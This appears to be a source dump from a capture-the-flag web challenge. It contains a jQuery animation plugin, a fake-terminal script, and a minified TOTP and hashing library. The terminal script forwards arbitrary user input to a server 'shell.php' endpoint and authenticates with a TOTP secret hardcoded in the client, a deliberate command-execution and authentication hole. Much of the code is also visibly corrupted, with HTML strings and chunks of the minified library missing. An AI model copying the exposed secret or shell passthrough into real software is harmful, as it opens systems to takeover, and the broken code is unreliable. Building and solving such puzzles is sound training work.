base.triggerEvent('outAnimationBegin'); 196 | 197 | animateTokens($tokens, options.out, function () { 198 | $elem.removeClass('current'); 199 | base.triggerEvent('outAnimationEnd'); 200 | $element.removeAttr('data-active'); 201 | if (options.out.callback) options.out.callback(); 202 | if (cb) cb(base); 203 | }); 204 | }; 205 | 206 | base.start = function (index) { 207 | setTimeout(function () { 208 | base.triggerEvent('start'); 209 | 210 | (function run (index) { 211 | base.in(index, function () { 212 | var length = base.$texts.children().length; 213 | 214 | index += 1; 215 | 216 | if (!base.options.loop && index >= length) { 217 | if (base.options.callback) base.options.callback(); 218 | base.triggerEvent('end'); 219 | } else { 220 | index = index % length; 221 | 222 | base.timeoutRun = setTimeout(function () { 223 | base.out(function () { 224 | run(index) 225 | }); 226 | }, base.options.minDisplayTime); 227 | } 228 | }); 229 | }(index || 0)); 230 | }, base.options.initialDelay); 231 | }; 232 | 233 | base.stop = function () { 234 | if (base.timeoutRun) { 235 | clearInterval(base.timeoutRun); 236 | base.timeoutRun = null; 237 | } 238 | }; 239 | 240 | base.init(); 241 | } 242 | 243 | $.fn.textillate = function (settings, args) { 244 | return this.each(function () { 245 | var $this = $(this) 246 | , data = $this.data('textillate') 247 | , options = $.extend(true, {}, $.fn.textillate.defaults, getData(this), typeof settings == 'object' && settings); 248 | 249 | if (!data) { 250 | $this.data('textillate', (data = new Textillate(this, options))); 251 | } else if (typeof settings == 'string') { 252 | data[settings].apply(data, [].concat(args)); 253 | } else { 254 | data.setOptions.call(data, options); 255 | } 256 | }) 257 | }; 258 | 259 | $.fn.textillate.defaults = { 260 | selector: '.texts', 261 | loop: false, 262 | minDisplayTime: 2000, 263 | initialDelay: 0, 264 | in: { 265 | effect: 'fadeInLeftBig', 266 | delayScale: 1.5, 267 | delay: 50, 268 | sync: false, 269 | reverse: false, 270 | shuffle: false, 271 | callback: function () {} 272 | }, 273 | out: { 274 | effect: 'hinge', 275 | delayScale: 1.5, 276 | delay: 50, 277 | sync: false, 278 | reverse: false, 279 | shuffle: false, 280 | callback: function () {} 281 | }, 282 | autoStart: true, 283 | inEffects: [], 284 | outEffects: [ 'hinge' ], 285 | callback: function () {}, 286 | type: 'char' 287 | }; 288 | 289 | }(jQuery)); 290 | -------------------------------------------------------------------------------- /source/js/main.js: -------------------------------------------------------------------------------- 1 | let usrName = 'ciscn' 2 | let nowPosition = '/sandbox' 3 | let commandList = 'cd ls cat hey hi hello help clear exit ~ / ./'.split(' ') 4 | let hisCommand = [] 5 | let cour = 0 6 | let isInHis = 0 7 | let directory = [] 8 | let files = [] 9 | 10 | let host = '' 11 | 12 | let e_console = $('#console') 13 | let e_main = $('#main') 14 | let e_input = $('.input-text') 15 | let e_html = $('body,html') 16 | let e_pos = $('#pos') 17 | 18 | /* 19 | [Developer Notes] 20 | OTP Library for Python located in js/pyotp.zip 21 | Server Params: 22 | digits = 8 23 | interval = 5 24 | window = 1 25 | */ 26 | 27 | let mainFunc = (input, position) => { 28 | if (input === '') { 29 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + position + ']% ' + '
') 30 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 31 | } else { 32 | command = input.split(' ')[0] 33 | if (commandList.indexOf(command) === -1) { 34 | $.ajax({ 35 | url: host + '/shell.php?a='+encodeURIComponent(input)+'&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP(), 36 | type: "GET", 37 | dataType: 'json', 38 | success: (res) => { 39 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + position + ']% ' + input + '
' + res.message + '
') 40 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 41 | }, 42 | error: (res) => { 43 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + position + ']% ' + input + '
System Fatal Error!
') 44 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 45 | } 46 | }) 47 | } else { 48 | switch (command) { 49 | case 'help': 50 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + position + ']% ' + input + '
' + 'command [Options...]
You can use following commands:

cd
ls
cat
clear
help
exit

Besides, there are some hidden commands, try to find them!
') 51 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 52 | break 53 | case 'exit': 54 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + position + ']% ' + input + '
(๑˘̴͈́꒵˘̴͈̀)۶ˮ вyё вyё~
') 55 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 56 | location.reload() 57 | break 58 | case 'hi': 59 | case 'hey': 60 | case 'hello': 61 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + position + ']% ' + input + '
Nice to Meet U : )
') 62 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 63 | break 64 | case 'clear': 65 | e_main.html('') 66 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 67 | break 68 | case 'ls': 69 | $.ajax({ 70 | url: host + '/shell.php?a=ls&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP(), 71 | data: { dir: position.replace('/sandbox', '') + '/' }, 72 | type: "POST", 73 | dataType: 'json', 74 | success: (res) => { 75 | if (res.code === 0) { 76 | let data = res.data.map(i => { 77 | if (i.includes('.elf')) { 78 | i = `${i}` 79 | } 80 | if (i.includes('.sh')) { 81 | i = `${i}` 82 | } 83 | if (!i.includes('.')) { 84 | i = `${i}` 85 | } 86 | return i 87 | }) 88 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + position + ']% ' + input + '
' + data.join('  ') + '
') 89 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 90 | } else if (res.code === 404) { 91 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + position + ']% ' + input + '
' + res.message + '
') 92 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 93 | } 94 | } 95 | }) 96 | break 97 | case 'cat': 98 | file = input.split(' ')[1] 99 | $.ajax({ 100 | url: host + '/shell.php?a=cat&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP(), 101 | data: { filename: file, dir: position.replace('/sandbox', '') + '/' }, 102 | type: "POST", 103 | dataType: 'json', 104 | success: (res) => { 105 | if (res.code === 0) { 106 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + position + ']% ' + input + '
' + res.data.replace(/\n/g, '
').replace(/ /g, ' ').replace(/\t/g, '    ') + '
') 107 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 108 | } else if (res.code === 404) { 109 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + position + ']% ' + input + '
' + res.message + '
') 110 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 111 | } 112 | } 113 | }) 114 | break 115 | case 'cd': 116 | dir = input.split(' ')[1].replace('./', '').replace('/sandbox', '') + '/' 117 | $.ajax({ 118 | url: host + '/shell.php?a=cd&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP(), 119 | data: { dir, pos: nowPosition.replace('/sandbox', '') + '/' }, 120 | type: "POST", 121 | dataType: 'json', 122 | success: (res) => { 123 | if (res.code === 0) { 124 | nowPosition = res.message 125 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + nowPosition + ']% ' + input + '
') 126 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 127 | e_pos.html(nowPosition) 128 | } else if (res.code === 404) { 129 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + position + ']% ' + input + '
' + res.message + '
') 130 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 131 | } 132 | } 133 | }) 134 | break; 135 | } 136 | } 137 | } 138 | } 139 | 140 | // 命令自动补全 141 | let pressTab = (input) => { 142 | if (input !== '') { 143 | command = input.split(' ')[0] 144 | if (command === 'l') e_input.val('ls') 145 | if (command === 'c') { 146 | e_main.html($('#main').html() + '[' + usrName + '@ciscn-mbp ' + nowPosition + ']% ' + input + '
cat  cd  clear
') 147 | } 148 | 149 | if (command === 'ca') e_input.val('cat') 150 | if (command === 'cl' || command === 'cle' || command === 'clea') e_input.val('clea') 151 | 152 | // cd 命令自动补全:只适配目录 153 | if (input.split(' ')[1] && command === 'cd') { 154 | dir = input.split(' ')[1] 155 | let prefix = '' 156 | if (nowPosition === '~') { 157 | // 用户在主目录 158 | if (dir.startsWith('./')) { 159 | prefix = './' 160 | dir = dir.replace('./', '') 161 | } 162 | if (dir.startsWith('~/')) { 163 | prefix = '~/' 164 | dir = dir.replace('~/', '') 165 | } 166 | 167 | // 路径最短匹配 168 | directory.every(i => { 169 | if (i.startsWith(dir)) { 170 | e_input.val('cd ' + prefix + i) 171 | return false 172 | } 173 | return true 174 | }) 175 | } else { 176 | // 用户在二级目录或更深层目录 177 | let pos = nowPosition.replace('~/', '') + '/' 178 | 179 | if (dir.startsWith('~/')) { 180 | prefix = '~/' 181 | dir = dir.replace('~/', '') 182 | 183 | // 路径最短匹配 184 | directory.every(i => { 185 | if (i.startsWith(dir)) { 186 | e_input.val('cd ' + prefix + i) 187 | return false 188 | } 189 | return true 190 | }) 191 | } else { 192 | if (dir.startsWith('./')) { 193 | prefix = './' 194 | dir = dir.replace('./', '') 195 | } 196 | 197 | // 路径最短匹配 198 | directory.every(i => { 199 | if (i.startsWith(pos + dir)) { 200 | i = i.replace(pos, '') 201 | e_input.val('cd ' + prefix + i) 202 | return false 203 | } 204 | return true 205 | }) 206 | } 207 | } 208 | } 209 | 210 | // cat 命令自动补全:只适配文件 211 | if (input.split(' ')[1] && command === 'cat') { 212 | file = input.split(' ')[1] 213 | let pos = nowPosition.replace('~', '').replace('/', '') // 去除主目录的 ~ 和其他目录的 ~/ 前缀 214 | let prefix = '' 215 | 216 | if (file.startsWith('./')) { 217 | prefix = './' 218 | file = file.replace('./', '') 219 | } 220 | 221 | if (nowPosition === '~') { 222 | files.every(i => { 223 | if (i.startsWith(pos + file)) { 224 | e_input.val('cat ' + prefix + i) 225 | return false 226 | } 227 | return true 228 | }) 229 | } else { 230 | pos = pos + '/' 231 | files.every(i => { 232 | if (i.startsWith(pos + file)) { 233 | e_input.val('cat ' + prefix + i.replace(pos, '')) 234 | return false 235 | } 236 | return true 237 | }) 238 | } 239 | } 240 | } 241 | } 242 | 243 | window.onresize = function () { 244 | e_input.width($(document).width() - $('.prefix').width() - 160) 245 | }; 246 | 247 | let historyCmd = (k) => { 248 | $('body,html').animate({ scrollTop: $(document).height() }, 0) 249 | 250 | if (k !== 'up' || isInHis) { 251 | if (k === 'up' && isInHis) { 252 | if (cour >= 1) { 253 | cour-- 254 | e_input.val(hisCommand[cour]) 255 | } 256 | } 257 | if (k === 'down' && isInHis) { 258 | if (cour + 1 <= hisCommand.length - 1) { 259 | cour++ 260 | $(".input-text").val(hisCommand[cour]) 261 | } else if (cour + 1 === hisCommand.length) { 262 | $(".input-text").val(inputCache) 263 | } 264 | } 265 | } else { 266 | inputCache = e_input.val() 267 | e_input.val(hisCommand[hisCommand.length - 1]) 268 | cour = hisCommand.length - 1 269 | isInHis = 1 270 | } 271 | } 272 | 273 | $(document).bind('keydown', function (b) { 274 | e_input.focus() 275 | if (b.keyCode === 13) { 276 | e_main.html($('#main').html()) 277 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 278 | mainFunc(e_input.val(), nowPosition) 279 | hisCommand.push(e_input.val()) 280 | isInHis = 0 281 | e_input.val('') 282 | } 283 | if (b.keyCode === 9) { 284 | pressTab(e_input.val()) 285 | b.preventDefault() 286 | if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);} 287 | e_input.focus() 288 | } 289 | 290 | if (b.keyCode === 38) historyCmd('up') 291 | if (b.keyCode === 40) historyCmd('down') 292 | 293 | // Ctrl + U 清空输入快捷键 294 | if (b.keyCode === 85 && b.ctrlKey === true) { 295 | e_input.val('') 296 | e_input.focus() 297 | } 298 | }) 299 | 300 | $(document).ready(() => { 301 | // 初始化目录和文件 302 | $.ajax({ 303 | url: host + '/shell.php?a=list&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP(), 304 | data: { dir: '/' }, 305 | type: "POST", 306 | dataType: 'json', 307 | success: (res) => { 308 | if (res.code === 0) { 309 | directory = res.data.directory 310 | directory.shift(); // 去掉第一个 ~ 311 | files = res.data.files 312 | } 313 | } 314 | }) 315 | }) -------------------------------------------------------------------------------- /source/js/totp.min.js: -------------------------------------------------------------------------------- 1 | !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("TOTP",[],e):"object"==typeof exports?exports.TOTP=e():t.TOTP=e()}(window,function(){return function(t){var e={};function r(n){if(e[n])return e[n].exports;var o=e[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}return r.m=t,r.c=e,r.d=function(t,e,n){r.o(t,e)||Object.defineProperty(t,e,{configurable:!1,enumerable:!0,get:n})},r.r=function(t){Object.defineProperty(t,"__esModule",{value:!0})},r.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return r.d(e,"a",e),e},r.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r.p="",r(r.s=10)}([function(t,e,r){"use strict";var n=function(){function t(t,e){for(var r=0;r1&&void 0!==arguments[1]?arguments[1]:6;!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t),this.key=e,this.digit=r}return n(t,[{key:"genOTP",value:function(t){var e=new i("SHA-1","BYTES");e.setHMACKey(o.decode(this.key).toString(),"BYTES");var r=this._factor2ByteText(t);e.update(r);var n=e.getHMAC("BYTES");return this._truncat(n)}},{key:"verify",value:function(t,e){return t===this.genOTP(e)}},{key:"gaURL",value:function(){return"otpauth://hotp/"+(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"")+"?issuer="+(arguments.length>1&&void 0!==arguments[1]?arguments[1]:"")+"&secret="+this.key}},{key:"_truncat",value:function(t){for(var e=15&t[19].charCodeAt(),r=(((127&t[e].charCodeAt())<<24|(255&t[e+1].charCodeAt())<<16|(255&t[e+2].charCodeAt())<<8|255&t[e+3].charCodeAt())%10**this.digit).toString();r.length=0;r--)e[r]=String.fromCharCode(255&t),t>>=8;return e.join("")}}],[{key:"randomKey",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:16,e=Math.random().toString(36);return o.encode(e).toString().substr(0,t)}},{key:"base32",get:function(){return o}}]),t}();t.exports=u},function(t,e,r){"use strict";var n=function(){function t(t,e){for(var r=0;r0&&void 0!==arguments[0]?arguments[0]:5,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=Math.floor((Date.now()/1e3-r)/t);return function t(e,r,n){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,r);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,r,n)}if("value"in o)return o.value;var u=o.get;return void 0!==u?u.call(n):void 0}(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"genOTP",this).call(this,n)}},{key:"verify",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:5,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;return t===this.genOTP(e,r)}},{key:"gaURL",value:function(){return"otpauth://totp/"+(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"")+"?issuer="+(arguments.length>1&&void 0!==arguments[1]?arguments[1]:"")+"&secret="+this.key}}]),e}();t.exports=i},function(t,e,r){"use strict";var n;!function(o){function i(t,e,r){var n,o,i,u,p,w,g,y,b,d=0,v=[],A=0,E=!1,m=[],R=[],S=!1,T=!1,_=-1;if(n=(r=r||{}).encoding||"UTF8",(b=r.numRounds||1)!==parseInt(b,10)||1>b)throw Error("numRounds must a integer >= 1");if("SHA-1"===t)p=512,w=M,g=F,u=160,y=function(t){return t.slice()};else if(0===t.lastIndexOf("SHA-",0))if(w=function(e,r){return D(e,r,t)},g=function(e,r,n,o){var i,u;if("SHA-224"===t||"SHA-256"===t)i=15+(r+65>>>9<<4),u=16;else{if("SHA-384"!==t&&"SHA-512"!==t)throw Error("Unexpected error in SHA-2 implementation");i=31+(r+129>>>10<<5),u=32}for(;e.length<=i;)e.push(0);for(e[r>>>5]|=128<<24-r%32,r+=n,e[i]=4294967295&r,e[i-1]=r/4294967296|0,n=e.length,r=0;re;e+=1)r[e]=t[e].slice();return r},_=1,"SHA3-224"===t)p=1152,u=224;else if("SHA3-256"===t)p=1088,u=256;else if("SHA3-384"===t)p=832,u=384;else if("SHA3-512"===t)p=576,u=512;else if("SHAKE128"===t)p=1344,u=-1,B=31,T=!0;else{if("SHAKE256"!==t)throw Error("Chosen SHA variant is not supported");p=1088,u=-1,B=31,T=!0}g=function(t,e,r,n,o){var i,u=B,a=[],f=(r=p)>>>5,s=0,h=e>>>5;for(i=0;i=r;i+=f)n=j(t.slice(i,i+f),n),e-=r;for(t=t.slice(i),e%=r;t.length>>3)>>2]^=u<=o));)a.push(t.a),0==64*(s+=1)%r&&j(null,n);return a}}i=l(e,n,_),o=x(t),this.setHMACKey=function(e,r,i){var a;if(!0===E)throw Error("HMAC key already set");if(!0===S)throw Error("Cannot set HMAC key after calling update");if(!0===T)throw Error("SHAKE is not supported for HMAC");if(e=(r=l(r,n=(i||{}).encoding||"UTF8",_)(e)).binLen,r=r.value,i=(a=p>>>3)/4-1,ae/8){for(;r.length<=i;)r.push(0);r[i]&=4294967040}for(e=0;e<=i;e+=1)m[e]=909522486^r[e],R[e]=1549556828^r[e];o=w(m,o),d=p,E=!0},this.update=function(t){var e,r,n,u=0,a=p>>>5;for(t=(e=i(t,v,A)).binLen,r=e.value,e=t>>>5,n=0;n>>5),A=t%p,S=!0},this.getHash=function(e,r){var n,i,l,p;if(!0===E)throw Error("Cannot call getHash after setting HMAC key");if(l=c(r),!0===T){if(-1===l.shakeLen)throw Error("shakeLen must be specified in options");u=l.shakeLen}switch(e){case"HEX":n=function(t){return a(t,u,_,l)};break;case"B64":n=function(t){return f(t,u,_,l)};break;case"BYTES":n=function(t){return s(t,u,_)};break;case"ARRAYBUFFER":try{i=new ArrayBuffer(0)}catch(t){throw Error("ARRAYBUFFER not supported by this environment")}n=function(t){return h(t,u,_)};break;default:throw Error("format must be HEX, B64, BYTES, or ARRAYBUFFER")}for(p=g(v.slice(),A,d,y(o),u),i=1;i>>24-u%32),p=g(p,u,0,x(t),u);return n(p)},this.getHMAC=function(e,r){var n,i,l,b;if(!1===E)throw Error("Cannot call getHMAC without first setting HMAC key");switch(l=c(r),e){case"HEX":n=function(t){return a(t,u,_,l)};break;case"B64":n=function(t){return f(t,u,_,l)};break;case"BYTES":n=function(t){return s(t,u,_)};break;case"ARRAYBUFFER":try{n=new ArrayBuffer(0)}catch(t){throw Error("ARRAYBUFFER not supported by this environment")}n=function(t){return h(t,u,_)};break;default:throw Error("outputFormat must be HEX, B64, BYTES, or ARRAYBUFFER")}return i=g(v.slice(),A,d,y(o),u),b=w(R,x(t)),n(b=g(i,u,p,b,u))}}function u(t,e){this.a=t,this.b=e}function a(t,e,r,n){var o,i,u,a="";for(e/=8,u=-1===r?3:0,o=0;o>>2]>>>8*(u+o%4*r),a+="0123456789abcdef".charAt(i>>>4&15)+"0123456789abcdef".charAt(15&i);return n.outputUpper?a.toUpperCase():a}function f(t,e,r,n){var o,i,u,a,f="",s=e/8;for(a=-1===r?3:0,o=0;o>>2]:0,u=o+2>>2]:0,u=(t[o>>>2]>>>8*(a+o%4*r)&255)<<16|(i>>>8*(a+(o+1)%4*r)&255)<<8|u>>>8*(a+(o+2)%4*r)&255,i=0;4>i;i+=1)f+=8*o+6*i<=e?"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(u>>>6*(3-i)&63):n.b64Pad;return f}function s(t,e,r){var n,o,i,u="";for(e/=8,i=-1===r?3:0,n=0;n>>2]>>>8*(i+n%4*r)&255,u+=String.fromCharCode(o);return u}function h(t,e,r){e/=8;var n,o,i,u=new ArrayBuffer(e);for(i=new Uint8Array(u),o=-1===r?3:0,n=0;n>>2]>>>8*(o+n%4*r)&255;return u}function c(t){var e={outputUpper:!1,b64Pad:"=",shakeLen:-1};if(t=t||{},e.outputUpper=t.outputUpper||!1,!0===t.hasOwnProperty("b64Pad")&&(e.b64Pad=t.b64Pad),!0===t.hasOwnProperty("shakeLen")){if(0!=t.shakeLen%8)throw Error("shakeLen must be a multiple of 8");e.shakeLen=t.shakeLen}if("boolean"!=typeof e.outputUpper)throw Error("Invalid outputUpper formatting option");if("string"!=typeof e.b64Pad)throw Error("Invalid b64Pad formatting option");return e}function l(t,e,r){switch(e){case"UTF8":case"UTF16BE":case"UTF16LE":break;default:throw Error("encoding must be UTF8, UTF16BE, or UTF16LE")}switch(t){case"HEX":t=function(t,e,n){var o,i,u,a,f,s,h=t.length;if(0!=h%2)throw Error("String of HEX type must be in byte increments");for(e=e||[0],f=(n=n||0)>>>3,s=-1===r?3:0,o=0;o>>1)+f)>>>2;e.length<=u;)e.push(0);e[u]|=i<<8*(s+a%4*r)}return{value:e,binLen:4*h+n}};break;case"TEXT":t=function(t,n,o){var i,u,a,f,s,h,c,l,p=0;if(n=n||[0],s=(o=o||0)>>>3,"UTF8"===e)for(l=-1===r?3:0,a=0;a(i=t.charCodeAt(a))?u.push(i):2048>i?(u.push(192|i>>>6),u.push(128|63&i)):55296>i||57344<=i?u.push(224|i>>>12,128|i>>>6&63,128|63&i):(a+=1,i=65536+((1023&i)<<10|1023&t.charCodeAt(a)),u.push(240|i>>>18,128|i>>>12&63,128|i>>>6&63,128|63&i)),f=0;f>>2;n.length<=h;)n.push(0);n[h]|=u[f]<<8*(l+c%4*r),p+=1}else if("UTF16BE"===e||"UTF16LE"===e)for(l=-1===r?2:0,u="UTF16LE"===e&&1!==r||"UTF16LE"!==e&&1===r,a=0;a>>8),h=(c=p+s)>>>2;n.length<=h;)n.push(0);n[h]|=i<<8*(l+c%4*r),p+=2}return{value:n,binLen:8*p+o}};break;case"B64":t=function(t,e,n){var o,i,u,a,f,s,h,c,l=0;if(-1===t.search(/^[a-zA-Z0-9=+\/]+$/))throw Error("Invalid character in base-64 string");if(i=t.indexOf("="),t=t.replace(/\=/g,""),-1!==i&&i=u())throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+u().toString(16)+" bytes");return 0|t}function w(t,e){if(f.isBuffer(t))return t.length;if("undefined"!=typeof ArrayBuffer&&"function"==typeof ArrayBuffer.isView&&(ArrayBuffer.isView(t)||t instanceof ArrayBuffer))return t.byteLength;"string"!=typeof t&&(t=""+t);var r=t.length;if(0===r)return 0;for(var n=!1;;)switch(e){case"ascii":case"latin1":case"binary":return r;case"utf8":case"utf-8":case void 0:return D(t).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return 2*r;case"hex":return r>>>1;case"base64":return j(t).length;default:if(n)return D(t).length;e=(""+e).toLowerCase(),n=!0}}function g(t,e,r){var n=t[e];t[e]=t[r],t[r]=n}function y(t,e,r,n,o){if(0===t.length)return-1;if("string"==typeof r?(n=r,r=0):r>2147483647?r=2147483647:r<-2147483648&&(r=-2147483648),r=+r,isNaN(r)&&(r=o?0:t.length-1),r<0&&(r=t.length+r),r>=t.length){if(o)return-1;r=t.length-1}else if(r<0){if(!o)return-1;r=0}if("string"==typeof e&&(e=f.from(e,n)),f.isBuffer(e))return 0===e.length?-1:b(t,e,r,n,o);if("number"==typeof e)return e&=255,f.TYPED_ARRAY_SUPPORT&&"function"==typeof Uint8Array.prototype.indexOf?o?Uint8Array.prototype.indexOf.call(t,e,r):Uint8Array.prototype.lastIndexOf.call(t,e,r):b(t,[e],r,n,o);throw new TypeError("val must be string, number or Buffer")}function b(t,e,r,n,o){var i,u=1,a=t.length,f=e.length;if(void 0!==n&&("ucs2"===(n=String(n).toLowerCase())||"ucs-2"===n||"utf16le"===n||"utf-16le"===n)){if(t.length<2||e.length<2)return-1;u=2,a/=2,f/=2,r/=2}function s(t,e){return 1===u?t[e]:t.readUInt16BE(e*u)}if(o){var h=-1;for(i=r;ia&&(r=a-f),i=r;i>=0;i--){for(var c=!0,l=0;lo&&(n=o):n=o;var i=e.length;if(i%2!=0)throw new TypeError("Invalid hex string");n>i/2&&(n=i/2);for(var u=0;u>8,o=r%256,i.push(o),i.push(n);return i}(e,t.length-r),t,r,n)}function S(t,e,r){return 0===e&&r===t.length?n.fromByteArray(t):n.fromByteArray(t.slice(e,r))}function T(t,e,r){r=Math.min(t.length,r);for(var n=[],o=e;o239?4:s>223?3:s>191?2:1;if(o+c<=r)switch(c){case 1:s<128&&(h=s);break;case 2:128==(192&(i=t[o+1]))&&(f=(31&s)<<6|63&i)>127&&(h=f);break;case 3:i=t[o+1],u=t[o+2],128==(192&i)&&128==(192&u)&&(f=(15&s)<<12|(63&i)<<6|63&u)>2047&&(f<55296||f>57343)&&(h=f);break;case 4:i=t[o+1],u=t[o+2],a=t[o+3],128==(192&i)&&128==(192&u)&&128==(192&a)&&(f=(15&s)<<18|(63&i)<<12|(63&u)<<6|63&a)>65535&&f<1114112&&(h=f)}null===h?(h=65533,c=1):h>65535&&(h-=65536,n.push(h>>>10&1023|55296),h=56320|1023&h),n.push(h),o+=c}return function(t){var e=t.length;if(e<=_)return String.fromCharCode.apply(String,t);var r="",n=0;for(;nthis.length)return"";if((void 0===r||r>this.length)&&(r=this.length),r<=0)return"";if((r>>>=0)<=(e>>>=0))return"";for(t||(t="utf8");;)switch(t){case"hex":return U(this,e,r);case"utf8":case"utf-8":return T(this,e,r);case"ascii":return B(this,e,r);case"latin1":case"binary":return P(this,e,r);case"base64":return S(this,e,r);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return O(this,e,r);default:if(n)throw new TypeError("Unknown encoding: "+t);t=(t+"").toLowerCase(),n=!0}}.apply(this,arguments)},f.prototype.equals=function(t){if(!f.isBuffer(t))throw new TypeError("Argument must be a Buffer");return this===t||0===f.compare(this,t)},f.prototype.inspect=function(){var t="",r=e.INSPECT_MAX_BYTES;return this.length>0&&(t=this.toString("hex",0,r).match(/.{2}/g).join(" "),this.length>r&&(t+=" ... ")),""},f.prototype.compare=function(t,e,r,n,o){if(!f.isBuffer(t))throw new TypeError("Argument must be a Buffer");if(void 0===e&&(e=0),void 0===r&&(r=t?t.length:0),void 0===n&&(n=0),void 0===o&&(o=this.length),e<0||r>t.length||n<0||o>this.length)throw new RangeError("out of range index");if(n>=o&&e>=r)return 0;if(n>=o)return-1;if(e>=r)return 1;if(e>>>=0,r>>>=0,n>>>=0,o>>>=0,this===t)return 0;for(var i=o-n,u=r-e,a=Math.min(i,u),s=this.slice(n,o),h=t.slice(e,r),c=0;co)&&(r=o),t.length>0&&(r<0||e<0)||e>this.length)throw new RangeError("Attempt to write outside buffer bounds");n||(n="utf8");for(var i=!1;;)switch(n){case"hex":return d(this,t,e,r);case"utf8":case"utf-8":return v(this,t,e,r);case"ascii":return A(this,t,e,r);case"latin1":case"binary":return E(this,t,e,r);case"base64":return m(this,t,e,r);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return R(this,t,e,r);default:if(i)throw new TypeError("Unknown encoding: "+n);n=(""+n).toLowerCase(),i=!0}},f.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};var _=4096;function B(t,e,r){var n="";r=Math.min(t.length,r);for(var o=e;on)&&(r=n);for(var o="",i=e;ir)throw new RangeError("Trying to access beyond buffer length")}function H(t,e,r,n,o,i){if(!f.isBuffer(t))throw new TypeError('"buffer" argument must be a Buffer instance');if(e>o||et.length)throw new RangeError("Index out of range")}function Y(t,e,r,n){e<0&&(e=65535+e+1);for(var o=0,i=Math.min(t.length-r,2);o>>8*(n?o:1-o)}function k(t,e,r,n){e<0&&(e=4294967295+e+1);for(var o=0,i=Math.min(t.length-r,4);o>>8*(n?o:3-o)&255}function L(t,e,r,n,o,i){if(r+n>t.length)throw new RangeError("Index out of range");if(r<0)throw new RangeError("Index out of range")}function I(t,e,r,n,i){return i||L(t,0,r,4),o.write(t,e,r,n,23,4),r+4}function x(t,e,r,n,i){return i||L(t,0,r,8),o.write(t,e,r,n,52,8),r+8}f.prototype.slice=function(t,e){var r,n=this.length;if(t=~~t,e=void 0===e?n:~~e,t<0?(t+=n)<0&&(t=0):t>n&&(t=n),e<0?(e+=n)<0&&(e=0):e>n&&(e=n),e0&&(o*=256);)n+=this[t+--e]*o;return n},f.prototype.readUInt8=function(t,e){return e||C(t,1,this.length),this[t]},f.prototype.readUInt16LE=function(t,e){return e||C(t,2,this.length),this[t]|this[t+1]<<8},f.prototype.readUInt16BE=function(t,e){return e||C(t,2,this.length),this[t]<<8|this[t+1]},f.prototype.readUInt32LE=function(t,e){return e||C(t,4,this.length),(this[t]|this[t+1]<<8|this[t+2]<<16)+16777216*this[t+3]},f.prototype.readUInt32BE=function(t,e){return 